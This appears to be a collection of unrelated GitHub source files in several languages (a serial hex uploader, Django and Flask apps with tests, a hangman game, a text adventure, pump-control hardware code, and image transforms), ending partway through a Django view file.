{"seq_id":"38296914264","text":"## Title:       send.py\n## Author:      Jeroen Venema\n## Created:     25/10/2022\n## Last update: 11/09/2023\n\n## syntax\n## send.py FILENAME <PORT> <BAUDRATE>\n## \n\n## Modinfo:\n## 25/10/2022 initial version\n## 10/09/2023 Script converts binary file to Intel Hex during transmission. \n##            Using defaults as constants.\n## 11/09/2023 Wait time variable introduced for handling PC serial drivers with low buffer memory\n\nDEFAULT_START_ADDRESS = 0x40000\nDEFAULT_SERIAL_PORT   = 'COM11'\nDEFAULT_BAUDRATE      = 115200\nDEFAULT_LINE_WAITTIME = 0       ## A value of +/- 0.003 Helps PC serial drivers with low buffer memory\n\ndef errorexit(message):\n  print(message)\n  print('Press ENTER to continue')\n  input()\n  exit()\n  return\n\nimport sys\nimport time\nimport os.path\nimport tempfile\ntry:\n  import serial\nexcept ModuleNotFoundError:\n  errorexit('Please install the \\'pyserial\\' module with pip')\ntry:\n  from intelhex import IntelHex\nexcept ModuleNotFoundError:\n  errorexit('Please install the \\'intelhex\\' module with pip')\n\n\n\nif len(sys.argv) == 1 or len(sys.argv) >4:\n  sys.exit('Usage: send.py FILENAME <PORT> <BAUDRATE>')\n\nif not os.path.isfile(sys.argv[1]):\n  sys.exit(f'Error: file \\'{sys.argv[1]}\\' not found')\n\nif len(sys.argv) == 2:\n  serialport = DEFAULT_SERIAL_PORT\n\nif len(sys.argv) >= 3:\n  serialport = sys.argv[2]\n\nif len(sys.argv) == 4:\n  baudrate = int(sys.argv[3])\nelse:\n  baudrate = DEFAULT_BAUDRATE\n\nnativehexfile = ((sys.argv[1])[-3:] == 'hex') or ((sys.argv[1])[-4:] == 'ihex')\n\n# report parameters used\nprint(f'Sending \\'{sys.argv[1]}\\' ', end=\"\")\nif nativehexfile: print('as native hex file')\nelse: \n  print('in Intel Hex format')\n  print(f'Using start address 0x{DEFAULT_START_ADDRESS:x}')\nprint(f'Using serial port {serialport}')\nprint(f'Using Baudrate {baudrate}')\n\nif nativehexfile:\n  file = open(sys.argv[1], \"r\")\n  content = file.readlines()\nelse:\n  # Instantiate ihex object and load binary file to it, write out as ihex format to temp file\n  ihex = IntelHex()\n  file = tempfile.TemporaryFile(\"w+t\")\n  ihex.loadbin(sys.argv[1], offset=DEFAULT_START_ADDRESS)\n  ihex.write_hex_file(file)\n  file.seek(0)\n\ntry:\n  with serial.Serial(serialport, baudrate,rtscts=False,dsrdtr=False,timeout=None) as ser:\n    print('Opening serial port...')\n    time.sleep(1)\n    print('Sending data...')\n\n    if nativehexfile:\n      for line in content:\n        ser.write(str(line).encode('ascii'))\n        time.sleep(DEFAULT_LINE_WAITTIME)\n    else:\n      for line in file:\n        ser.write(str(line).encode('ascii'))\n        time.sleep(DEFAULT_LINE_WAITTIME)\n\nexcept serial.SerialException:\n  errorexit('Error: serial port unavailable')\n\nfile.close()\n","repo_name":"envenomator/agon-hexload","sub_path":"send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"18"}
{"seq_id":"15691391741","text":"from django.urls import path\nfrom . import views\nfrom .views import ProductList, ProductDetailView, ProductCreateView, ProductDeleteView, ProductUpdateView, login\n \n \nurlpatterns = [\n    # path — означает путь. В данном случае путь ко всем товарам у нас останется пустым, позже станет ясно почему\n    path('', ProductList.as_view(), name='products'), \n    path('<int:pk>', ProductDetailView.as_view(), name='product'),\n    path('create/', ProductCreateView.as_view(), name='product_create'),\n    path('update/<int:pk>', ProductUpdateView.as_view(), name='product_update'),\n    path('delete/<int:pk>', ProductDeleteView.as_view(), name='product_delete'), \n     \n]","repo_name":"olechnaya/firstDjango","sub_path":"tutorialProject/simpleapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28716285658","text":"from unittest import TestCase\nfrom app import app\nfrom flask import session\nfrom boggle import Boggle\n\n\n\nclass FlaskTests(TestCase):\n    def test_start_game(self):\n        with app.test_client() as client:\n            res=client.get('/')\n            html=res.get_data(as_text=True)\n\n            self.assertEqual(res.status_code,200)\n            self.assertIn('<h1>Boggle Game</h1>',html)\n\n    def test_make_board(self):\n        with app.test_client() as client:\n            res=client.get('/make_board')\n            html=res.get_data(as_text=True)\n\n            self.assertEqual(res.status_code,200)\n            self.assertIn('<p>Word: <span id=\"word\"></span></p>',html)\n\n    def test_input_board(self):\n        with app.test_client() as client:\n            res=client.post('/get_input/',data={'a':'ok'})\n\n\n            self.assertEqual(res.status_code,415)\n\n\n\n\n\n","repo_name":"EddieSandler/flask-boggle","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39079959808","text":"from string import Template\nfrom typing import Optional\n\nfrom gql import Client, gql\nfrom gql.transport.aiohttp import AIOHTTPTransport\n\n\nMECH_SUBGRAPH_URL = \"https://api.studio.thegraph.com/query/46780/mech/v0.0.1\"\nAGENT_QUERY_TEMPLATE = Template(\n    \"\"\"{\n    createMeches(where:{agentId:$agent_id}) {\n        mech\n    }\n}\n\"\"\"\n)\n\n\ndef query_agent_address(agent_id: int) -> Optional[str]:\n    \"\"\"\n    Query agent address from subgraph.\n\n    :param agent_id: The ID of the agent.\n    :type agent_id: int\n    :return: The agent address if found, None otherwise.\n    :rtype: Optional[str]\n    \"\"\"\n    client = Client(transport=AIOHTTPTransport(url=MECH_SUBGRAPH_URL))\n    response = client.execute(\n        document=gql(\n            request_string=AGENT_QUERY_TEMPLATE.substitute({\"agent_id\": agent_id})\n        )\n    )\n    mechs = response[\"createMeches\"]  # pylint: disable=unsubscriptable-object\n    if len(mechs) == 0:\n        return None\n\n    (record,) = mechs\n    return record[\"mech\"]\n","repo_name":"valory-xyz/mech-client","sub_path":"mech_client/subgraph.py","file_name":"subgraph.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36783652151","text":"from empresa import *\nfrom funcionario import *\nfrom projeto import *\nfrom ocorrencia import *\nimport unittest\n\n# Classe para testar criacao de uma instancia de Empresa\nclass TDD_Empresa(unittest.TestCase):\n    def teste_CriaEmpresa(self):\n        self.angeloni = Empresa([])\n        self.assertEqual([], self.angeloni.funcionarios)\n\n# Classe para testar funcionalidades da classe Funcionario\nclass TDD_Funcionario(unittest.TestCase):\n    def setUp(self):\n        self.angeloni = Empresa([])\n        self.listaDeFuncionarios = self.angeloni.getListaDeFuncionarios()\n        self.ivan = Funcionario(\"Ivan\")\n        self.joao = Funcionario(\"Joao\")\n        self.listaDeFuncionarios.append(self.ivan.nomeFuncionario)\n        self.listaDeFuncionarios.append(self.joao.nomeFuncionario)\n        self.angeloni.adicionaFuncionario(self.joao)\n        self.angeloni.adicionaFuncionario(self.ivan)\n\n    def tearDown(self):\n        self.angeloni.__del__()\n        self.angeloni = None\n        self.ivan.__del__()\n        self.ivan = None\n        self.joao.__del__()\n        self.joao = None\n        self.listaDeFuncionarios = []      \n\n    def teste_criaFuncionario(self):\n        self.funcionario1 = Funcionario(\"Ivan\")\n        self.assertEqual(self.funcionario1.nomeFuncionario, \"Ivan\")\n\n    def teste_adicionaFuncionario(self):\n        self.listaDeFuncionarios.sort()\n        self.assertEqual([\"Ivan\", \"Joao\"], self.angeloni.getListaDeFuncionarios())\n\n    def teste_removeFuncionario(self):\n        self.angeloni.removeFuncionario(self.joao)\n        self.listaDeFuncionarios.remove(\"Joao\")\n        self.assertEqual([\"Ivan\"], self.angeloni.getListaDeFuncionarios())\n\n# Classe para testar funcionalidades da classe Projeto\nclass TDD_projeto(unittest.TestCase):\n    def setUp(self):\n        self.projeto = Projeto(\"Gerenciador de Tarefas\", [])\n\n    def tearDown(self):\n        self.projeto.__del__()\n        self.projeto = None\n    \n    def testeCriaProjeto(self):\n        self.projeto1 = Projeto(\"Gerenciador\", [])\n        self.assertEqual(\"Gerenciador\", self.projeto1.nomeProjeto)\n    \n    def testeAdicionaOcorrencia(self):\n        self.ocorrencia1 = Ocorrencia(\"Bug A\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia1\")\n        self.projeto.addOcorrencia(self.ocorrencia1)\n        self.assertEqual([\"Bug A\"], self.projeto.getOcorrencias())\n\n    def testeAdicionaVariasOcorrencias_ForaDeOrdem(self):\n        self.ocorrencia2 = Ocorrencia(\"Bug B\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia2\")\n        self.ocorrencia1 = Ocorrencia(\"Bug A\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia1\")\n        self.ocorrencia3 = Ocorrencia(\"Melhoria A\", \"Melhoria\", \"Alta\", \"Aberta\", \"ocorrencia3\")\n        self.projeto.addOcorrencia(self.ocorrencia1)\n        self.projeto.addOcorrencia(self.ocorrencia2)\n        self.projeto.addOcorrencia(self.ocorrencia3)\n        self.assertEqual([\"Bug A\", \"Bug B\", \"Melhoria A\"], self.projeto.getOcorrencias())\n\n    def testeVerificaOcorrenciaPorID(self):\n        self.ocorrencia2 = Ocorrencia(\"Bug B\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia2\")\n        self.ocorrencia1 = Ocorrencia(\"Bug A\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia1\")\n        self.ocorrencia3 = Ocorrencia(\"Melhoria A\", \"Melhoria\", \"Alta\", \"Aberta\", \"ocorrencia3\")\n        self.projeto.addOcorrencia(self.ocorrencia1)\n        self.projeto.addOcorrencia(self.ocorrencia2)\n        self.projeto.addOcorrencia(self.ocorrencia3)\n        self.assertEqual(self.ocorrencia3.getNomeOcorrencia(),self.projeto.getOcorrenciaPorID(3).getNomeOcorrencia())\n\n# Classe para testar funcionalidades da classe Ocorrencia\nclass TDD_ocorrencia(unittest.TestCase):\n    def setUp(self):\n        self.ocorrencia1 = Ocorrencia(\"Bug A\", \"Bug\", \"Alta\", \"Aberta\", \"ocorrencia1\")\n        self.projeto = Projeto(\"Gerenciador de Tarefas\", [])\n        self.ivan = Funcionario(\"Ivan\")\n\n    def tearDown(self):\n        self.ocorrencia1.__del__()\n        self.ocorrencia1 = None\n        self.projeto.__del__()\n        self.projeto = None\n        self.ivan.__del__()\n        self.ivan = None\n\n    def testeOcorrenciaCriada(self):\n        self.assertEqual(\"Bug A\", self.ocorrencia1.getNomeOcorrencia())\n        self.assertEqual(\"Bug\", self.ocorrencia1.getTipoOcorrencia())\n        self.assertEqual(\"Alta\", self.ocorrencia1.getPrioridade())\n        self.assertEqual(\"Aberta\", self.ocorrencia1.getStatus())\n        self.assertEqual(\"ocorrencia1\", self.ocorrencia1.getResumo())\n\n    def testeAtribuiFuncionario(self):\n        self.projeto.atribuiOcorrencia(self.ocorrencia1, self.ivan)\n        self.ivan.adicionaOcorrencia(self.ocorrencia1)\n        self.assertEqual(\"Ivan\", self.projeto.getOcorrenciaPorID(1).getResponsavel().getNome())\n        self.assertEqual(1, self.ivan.getNumeroOcorrencias())\n        self.assertTrue(self.ivan.checaOcorrencia(self.ocorrencia1.getNomeOcorrencia()))\n\n    def testeModificaPrioridadeBaixa(self):\n        self.ocorrencia1.setPrioridadeBaixa()\n        self.assertEqual(\"Baixa\", self.ocorrencia1.getPrioridade())\n\n    def testeModificaPrioridadeMedia(self):\n        self.ocorrencia1.setPrioridadeMedia()\n        self.assertEqual(\"Media\", self.ocorrencia1.getPrioridade())\n\n    def testeModificaPrioridadeBaixa(self):\n        self.ocorrencia2 = Ocorrencia(\"Bug B\", \"Bug\", \"Media\", \"Aberta\", \"ocorrencia2\")\n        self.ocorrencia2.setPrioridadeAlta()\n        self.assertEqual(\"Alta\", self.ocorrencia2.getPrioridade())\n\n    def testeModificaResponsavel(self):\n        self.joao = Funcionario(\"Joao\")\n        self.projeto.atribuiOcorrencia(self.ocorrencia1, self.ivan)\n        self.projeto.getOcorrenciaPorID(1).setResponsavel(self.joao)\n        self.joao.adicionaOcorrencia(self.projeto.getOcorrenciaPorID(1))\n        self.assertEqual(\"Joao\", self.projeto.getOcorrenciaPorID(1).getResponsavel().getNome())\n        self.assertEqual(1, self.joao.getNumeroOcorrencias())\n        self.assertTrue(self.joao.checaOcorrencia(self.ocorrencia1.getNomeOcorrencia()))\n\n    def testeTerminaOcorrencia(self):\n        self.ocorrencia1.finalizaOcorrencia()\n        self.assertEqual(\"Fechada\" ,self.ocorrencia1.getStatus())\n\n    def testeLimiteOcorrenciasPorUsuario(self):\n        for i in range(15):\n            self.ivan.adicionaOcorrencia(self.ocorrencia1)\n        self.assertEqual(10, self.ivan.getNumeroOcorrencias())\n\n    def testeAlteracaoOcorrenciaFechada(self):\n        self.joao = Funcionario(\"Joao\")\n        self.projeto.atribuiOcorrencia(self.ocorrencia1, self.ivan)\n        self.ocorrencia1.finalizaOcorrencia()\n        self.ocorrencia1.setPrioridadeMedia()\n        self.projeto.getOcorrenciaPorID(1).setResponsavel(self.joao)\n        self.assertEqual(\"Ivan\", self.projeto.getOcorrenciaPorID(1).getResponsavel().getNome())\n        self.assertEqual(\"Alta\", self.projeto.getOcorrenciaPorID(1).getPrioridade())\n\n# Executa todos os testes\nif __name__ == \"__main__\":\n    unittest.main()","repo_name":"iagosilvestre/TDD_TestesSoftware","sub_path":"testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":6820,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18878778119","text":"#!/usr/bin/env python3  \n#----------------------------------------------------------------------------\n# Created By  : Pedro V Quijano Carde \n# Created Date: 05/31/2022\n# Revision ='1.0' Add all modules currently used and make a simple script to\n#                 use the rotary switch, pumps, and load cell.\n# ---------------------------------------------------------------------------\n\"\"\" This script is to demo all the functions for the hardware used in the\nshrew box. \"\"\"\n# ---------------------------------------------------------------------------\n\nfrom time import strftime, perf_counter, perf_counter_ns, sleep\n\n# ---------------------------------------------------------------------------\n\nfrom capTouch import *\nfrom fileManage import *\nfrom platformWeight import *\nfrom pumpLib import *\nfrom pumpTimeWrap import *\nfrom rotSwitch import *\nfrom test import *\nfrom weightLib import *\n\n\n# ---------------------------------------------------------------------------\n\nglobal timeStart\ntimeStart = perf_counter_ns()\n\ntry:\n        \n    timeStamp = strftime(\"%Y-%m-%d_%H:%M:%S\")  #String that contains the date in YYYY-MM-DD_HH:MM:SS format\n    fileName = \"test\"\n    storeEvent(timeStamp, fileName, ['Event Time,', 'Event,', 'Details', '\\n'])\n        \n    pSW = False   #Flags for determining which position the rotary switch is in\n    p1Clean = False\n    p2Clean = False\n    p3Clean = False\n    standby = False\n    testScript = False \n    p1cf = False  #Flag for having the corresponding pump turned on only once (send the command)\n    p2cf = False\n    p3cf = False\n    testcf = False \n    nosel = False  #Flag for having the pumps turned off only once when no valid position is selected on rotary switch\n    cleaningDone = True #Flag to re-initialize the pumps after cleaning, set to true for first\n    weightM = 0\n    \n    Highdriver4_init()  #Initialize highdriver4 and have Powermode register set \n    \n    platformWeight(True)\n    \n    while True:  #main loop\n        \n        standby, p1Clean, p2Clean, p3Clean, testScript, pSW = rotSwitchState()   #Read the GPIO pin's current state of the rotary switch\n        \n        if pSW:  #Pumps run with software\n            \n            if cleaningDone:   #Only run when rotary switch first  selected pSW\n                cleaningDone = False  #Will not run this if statement if the rotary switch stays on this position\n                p1cf = False   #Resetting other flags\n                p2cf = False\n                p3cf = False\n                nosel = False\n                testcf = True\n                Highdriver4_setfrequency(100)     #Frequency for dispensing liquids\n                Highdriver4_init()\n                readRegisters()\n                print(\"Pumps working normally\\n\")\n                \n            platformWeight()\n            timedPump(1, 250, 0.2)\n            sleep(0.5)\n            timedPump(2, 250, 0.2)\n            sleep(0.5)\n            timedPump(3, 250, 0.2)\n            sleep(0.5)\n            #weightM = weight()  #Get current weight on platform\n            #print(weightM)\n            sleep(3)\n        elif testScript:\n            if testcf:\n                cleaningDone = True  \n                p1cf = False   #Resetting other flags\n                p2cf = False\n                p3cf = False\n                nosel = False\n                testcf = False\n                \n                Highdriver4_setfrequency(100)     #Frequency for test script default (may be changed from other functions within\n                Highdriver4_init()\n                readRegisters()\n                print(\"Test Script Running!\\n\")\n            \n            testFunc()\n            \n            sleep(1)\n        \n        elif p1Clean or p2Clean or p3Clean:  #Checks for other pins for cleaning\n            i2cbus.write_byte_data(I2C_HIGHDRIVER_ADRESS, I2C_POWERMODE, 0x01) #Pumps active\n            Highdriver4_setfrequency(50)    #Different frequency for cleaning or priming\n            \n            cleaningDone = True #Resetting other flags\n            testcf = True\n            nosel = False\n            \n            if p1Clean:\n                if not p1cf: #Only run when rotary switch first  selected this\n                    p1cf = True #Resetting other flags\n                    p2cf = False\n                    p3cf = False\n                    \n                    Highdriver4_setvoltage(1, 250)\n                    Highdriver4_setvoltage(2, 0)\n                    Highdriver4_setvoltage(3, 0)\n                    \n                    readRegisters()\n                    print('Cleaning Pump 1!\\n')\n                \n            elif p2Clean: \n                if not p2cf: #Only run when rotary switch first  selected this\n                    p1cf = False #Resetting other flags\n                    p2cf = True\n                    p3cf = False\n                    \n                    Highdriver4_setvoltage(1, 0)\n                    Highdriver4_setvoltage(2, 250)\n                    Highdriver4_setvoltage(3, 0)\n                    \n                    readRegisters()\n                    print('Cleaning Pump 2!\\n')\n                    \n            elif p3Clean:\n                if not p3cf: #Only run when rotary switch first  selected this\n                    p1cf = False #Resetting other flags\n                    p2cf = False\n                    p3cf = True\n                    \n                    Highdriver4_setvoltage(1, 0)\n                    Highdriver4_setvoltage(2, 0)\n                    Highdriver4_setvoltage(3, 250)\n                    \n                    readRegisters()\n                    print('Cleaning Pump 3!\\n')\n            \n        else:\n            if not nosel: #Only run when rotary switch first  selected this\n                Highdriver4_init()\n                i2cbus.write_byte_data(I2C_HIGHDRIVER_ADRESS, I2C_POWERMODE, 0x00) #Turn off highdriver4\n                \n                cleaningDone = True #Resetting other flags\n                p1cf = False\n                p2vf = False\n                p3cf = False\n                nosel = True\n                testcf = True\n                \n                readRegisters()\n                print(\"No pumps selected, highdriver off\\n\")\n            \n\nexcept (KeyboardInterrupt, SystemExit):  #Terminate program with CTRL + C\n    print('Bye ;)')\n    \n    Highdriver4_init()  #Set all registers to default\n    i2cbus.write_byte_data(I2C_HIGHDRIVER_ADRESS, I2C_POWERMODE, 0x00) #Highdriver4 pumps inactive\n    \nfinally:\n    GPIO.cleanup()  #resets any ports you have used in this program back to input mode","repo_name":"Penn-EDS/ArcaroShrewBB","sub_path":"mainDemo.py","file_name":"mainDemo.py","file_ext":"py","file_size_in_byte":6555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"15821173473","text":"from urllib import response\nfrom django.test import TestCase,Client\nfrom django.urls import reverse\nfrom home.models import Blog,Contact\n\nclass TestViews(TestCase):\n    def setup(self):\n        self.client = Client()\n\n    def test_index_GET(self):\n        response = self.client.get(reverse('index:index'))\n        self.assertEqual(response.status_code,200)\n        self.assertTemplateUsed(response,'home/index.html')\n\n    def test_contact_POST(self):\n        response = self.client.post(reverse('index:contact'),{\n            'name':'automated-test',\n            'email':'aryanjainak@gmail.com',\n            'phone_no': '3434',\n            'subject' : 'Subject',\n            'message' : 'message hai'\n        })\n        self.assertEqual(response.status_code,302)\n        query= Contact.objects.get(id=1)\n        self.assertEqual(query.name,'automated-test')\n","repo_name":"CPTCIC5/clinic","sub_path":"home/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29359327468","text":"import random\n\ndef leer_archivo(archivo):\n    data = []\n    with open(archivo,\"r\",encoding=\"utf-8\") as a:\n        data = a.readlines()\n        data = [cadena.strip(\"\\n\") for cadena in data]\n    return data\n\ndef leer_tablero(n: int)->dict:\n    d = {}\n    for i in range(0,n+1):\n        d[i] = leer_archivo(f\"ahorcado-{i}.txt\")\n    return d\n\ndef despliega_tablero(tablero:list)->None:\n    for renglon in tablero:\n        print(renglon)\n\ndef adivina(lista_palabras:list, tableros:dict)->None:\n    palabra = random.choice(lista_palabras)\n    palabra = palabra.upper()\n    lista_letras = [[x,False] for x in palabra]\n    abecedario = {chr(x):chr(x) for x in range(ord('A'),ord('z'))+1}\n    strikes = 0\n    en_juego = True\n    while en_juego == True:\n        despliega_palabra(lista_letras)\n        despliega_abc(abecedario)\n        despliega_tablero(tableros[strikes])\n        for lista in lista_letras:\n            if lista[1] == \"_\":\n                completo = False\n        if completo == True:\n            en_juego = False\n            continue\n        else:\n            if strikes == 6:\n                en_juego = False\n                break\n        letra = input(\"Selecciona una letra\")\n        letra = letra.upper()\n\n        if len(letra) != 1:\n            continue\n        else:\n            intento = False\n            for lista in lista_letras:\n                if letra == lista[0]:\n                    lista[1]\n                    intento = True\n        if intento == False:\n            strikes +=1\n        if letra in abecedario:\n            abecedario[letra] = \"*\"\n        en_juego = False\n\ndef despliega_palabra(lista_letras:list):\n    lista = [x[1]for x in lista_letras]\n    palabra = \" \".join(lista)\n    print(palabra)\n\ndef despliega_abc(diccionario:dict)->None:\n    abc= [value for key,value in diccionario.item()]\n    abc = \"\".join(abc)\n    print(abc)\n\ndef main(archivo):\n    lista_palabras = leer_archivo(archivo)\n    palabra = random.choice(lista_palabras)\n    print(palabra)\n    tableros = leer_tablero(7)\n    despliega_tablero(tableros[0])\n    adivina(lista_palabras,tableros)\n\nif __name__ ==\"__main__\":\n    archivo = \"palabras.txt\"\n    main(archivo)","repo_name":"Duxative/DS4","sub_path":"ahorcado/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25920009065","text":"from sys import exit\r\n\r\ndef gold_room():\r\n\tprint(\"this room is full of gold. how much?\")\r\n\t\r\n\tnext = input(\"> \")\r\n\tif \"0\" in next or \"1\" in next:\r\n\t\thow_much = int(next)\r\n\telse:\r\n\t\tdead(\"learn to type a number.\")\r\n\t\t\r\n\tif how_much < 50:\r\n\t\tprint(\"not greedy. win!\")\r\n\t\texit(0)#表示程序是正常退出，exit(1)表示是有错误退出\r\n\telse:\r\n\t\tdead(\"greedy bastard!\")\r\n\t\t\r\ndef bear_room():\r\n\tprint(\"bear here.\")\r\n\tprint(\"a bunch of honey.\")\r\n\tprint(\"in front of another door.\")\r\n\tprint(\"how to move the bea?\")\r\n\tbear_moved = False\r\n\t\r\n\twhile True:\r\n\t\tnext = input(\"> \")\r\n\t\t\r\n\t\tif next == \"take honey\":\r\n\t\t\tdead(\"the bear slaps your face off.\")\r\n\t\telif next == \"taunt bear\" and not bear_moved:\r\n\t\t\tprint(\"the bear has moved from the door. you can go.\")\r\n\t\t\tbear_moved = True  # 当再次输入taunt bear的时候，就会运行到下一段，所以这个命令的目的是同样的输入会得到不同的输出。\r\n\t\telif next == \"taunt bear\" and bear_moved:\r\n\t\t\tdead(\"the bear chews your leg off.\")\r\n\t\telif next == \"open door\" and bear_moved: #这一句保证直接 open door 命令无法进入gold room，需要首先bear_moved为True才可以。所以得到唯一解。\r\n\t\t\tgold_room()\r\n\t\telse:\r\n\t\t\tprint(\"no idea.\")\r\n\r\ndef cthulhu_room():\r\n\tprint(\"see the great evil cthulhu.\")\r\n\tprint(\"go insane.\")\r\n\tprint(\"do you flee?\")\r\n\t\r\n\tnext = input(\"> \")\r\n\tif \"flee\" in next:\r\n\t\tstart()\r\n\telif \"head\" in next:\r\n\t\tdead(\"tasty!\")\r\n\telse:\r\n\t\tcthulhu_room()\r\n\r\ndef dead(why):\r\n\tprint(why, \"good job!\")\r\n\texit(0)\r\n\t\r\ndef start():\r\n\tprint(\"a dark room.\")\r\n\tprint(\"a door to your right and left.\")\r\n\tprint(\"which one?\")\r\n\t\r\n\tnext = input(\"> \")\r\n\t\r\n\tif next == \"left\":\r\n\t\tbear_room()\r\n\telif next == \"right\":\r\n\t\tcthulhu_room()\r\n\telse:\r\n\t\tdead(\"you stumble.\")\r\n\t\t\r\nstart()","repo_name":"sevenry/python_learning_note","sub_path":"the_hard_way/ex35.py","file_name":"ex35.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"43475379632","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@Author: xiezizhe\n@Date: 14/6/2020 下午6:48\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n\n    def dfs(self, nums: List[int], idx: int) -> List[List[int]]:\n        if len(nums) <= idx + 1:\n            return [[nums[idx]]]\n\n        f = nums[idx]\n        res = []\n        for p in self.dfs(nums, idx + 1):\n            for i in range(1, len(p)):\n                res.append(p[:i] + [f] + p[i:])\n            res.append([f] + p)\n            res.append(p + [f])\n\n        return res\n\n    def permute(self, nums: List[int]) -> List[List[int]]:\n        if nums is None or len(nums) == 0:\n            return [[]]\n\n        if len(nums) == 1:\n            return [nums]\n\n        return self.dfs(nums, 0)\n\n\nif __name__ == \"__main__\":\n    s = Solution()\n    print(s.permute([1]))\n","repo_name":"forrest0402/leetcode","sub_path":"python/46. Permutations.py","file_name":"46. Permutations.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26647941896","text":"from .transforms import *\n\n\nclass TrainAugmentation:\n    def __init__(self, size, mean=0, std=1.0, cvt2gray=False):\n        \"\"\"\n        训练时的数据增强操作\n        Args:\n            size: the size the of final image.\n            mean: mean pixel value per channel.\n        \"\"\"\n        self.mean = mean\n        self.size = size\n        self.augment = Compose([\n            ConvertFromInts(),      # img, np.ndarray\n            PhotometricDistort(),\n            Expand(self.mean),      # img, boxes\n            RandomSampleCrop(),     # img, boxes, labels\n            RandomMirror(),\n            ToPercentCoords(),      # boxes\n            Resize(self.size),      # img\n            SubtractMeans(self.mean),\n            lambda img, boxes=None, labels=None: (img / std, boxes, labels),\n            ToTensor(),\n        ])\n        if cvt2gray:\n            self.augment.replace(7, Cvt2Gray())  # 转灰度去训练,SubtractMeans是BGR减去均值处理，转灰度后不需要SubtractMeans\n\n    def __call__(self, img, boxes, labels):\n        \"\"\"\n        Args:\n            img: the output of cv.imread in RGB layout.\n            boxes: boundding boxes in the form of (x1, y1, x2, y2).\n            labels: labels of boxes.\n        \"\"\"\n        return self.augment(img, boxes, labels)\n\n\nclass TestTransform:\n    def __init__(self, size, mean=0.0, std=1.0, cvt2gray=False):\n        \"\"\"\n        test 时的数据增强处理\n        \"\"\"\n\n        self.transform = Compose([\n            ToPercentCoords(),\n            Resize(size),\n            SubtractMeans(mean),\n            lambda img, boxes=None, labels=None: (img / std, boxes, labels),\n            ToTensor(),\n        ])\n        if cvt2gray:\n            self.transform.replace(2, Cvt2Gray())  # 转灰度去训练,SubtractMeans是BGR减去均值处理，转灰度后不需要SubtractMeans\n\n    def __call__(self, image, boxes, labels):\n        return self.transform(image, boxes, labels)\n\n\nclass PredictionTransform:\n    def __init__(self, size, mean=0.0, std=1.0, cvt2gray=False):\n        \"\"\"\n        预测时的数据增强处理\n        \"\"\"\n        self.transform = Compose([\n            Resize(size),\n            SubtractMeans(mean),\n            lambda img, boxes=None, labels=None: (img / std, boxes, labels),\n            ToTensor()\n        ])\n        if cvt2gray:\n            self.transform.replace(1, Cvt2Gray())  # 转灰度去训练,SubtractMeans是BGR减去均值处理，转灰度后不需要SubtractMeans\n\n    def __call__(self, image):\n        image, _, _ = self.transform(image)\n        return image","repo_name":"zhufa/barcodedet","sub_path":"dataset/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16174354262","text":"from django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.shortcuts import render, redirect\nfrom django.http import JsonResponse\nfrom django.db.models import Case, When, Sum, F, Min, Value, CharField, BooleanField, Q\nimport json, random\nfrom index.defs import get_array, execute_query\nfrom inventory.models import Inventory\nfrom index.models import Player\nfrom recon.models import Animal, Hunt\nfrom map.models import Hexa\nfrom inventory.views import make_grid\n\ncraft_box_range = [21, 26]\n\n\n@login_required(redirect_field_name=None)\ndef index(request):\n\n    player, hexa, animals, situation_instance = entry(request)\n\n    state = ['', 'attacking', 'running', 'dead']\n\n    animals_with_state = []\n    for animal in animals:\n        print(animal)\n        animals_with_state.append(animal + (state[animal[3]],) )\n\n    grid = make_grid(request, grid_max=34)\n    slices = [6, 11, 16, 21, 24, 27, 29, 31, 33]\n\n    if not hexa[5]:\n        pass\n    else:\n        pass\n\n    return render(request, 'recon.html', {'animals': animals_with_state,\n                                          'grid': grid,\n                                          'slices': slices,\n                                          'craft_box_start': craft_box_range[0],\n                                          'animals_start': craft_box_range[1]+1,\n                                          })\n\n\ndef recon(request):\n    if request.is_ajax():\n        if request.method == 'POST':\n            player, hexa, situation_list, situation = entry(request)\n            animals, status = move(player, hexa, situation)\n            return JsonResponse([animals, status], safe=False)\n\n\ndef leave_button(request):\n    if request.is_ajax():\n        if request.method == 'POST':\n            animals, status, remaining = leave(request)\n            return JsonResponse([animals, status], safe=False)\n\n\ndef leave(request):\n    player, hexa, situation_list, situation = entry(request)\n    attacking = situation.filter(behaviour=1)\n    remaining = False\n    for attacker in attacking:\n        if random.randint(0, 100) < 75:\n            attacker.delete()\n        else:\n            remaining = True\n\n    animals, status = move(player, hexa, situation, leaving=True)\n    return animals, status, remaining\n\n\n\n\ndef shot(request):\n    if request.is_ajax():\n        if 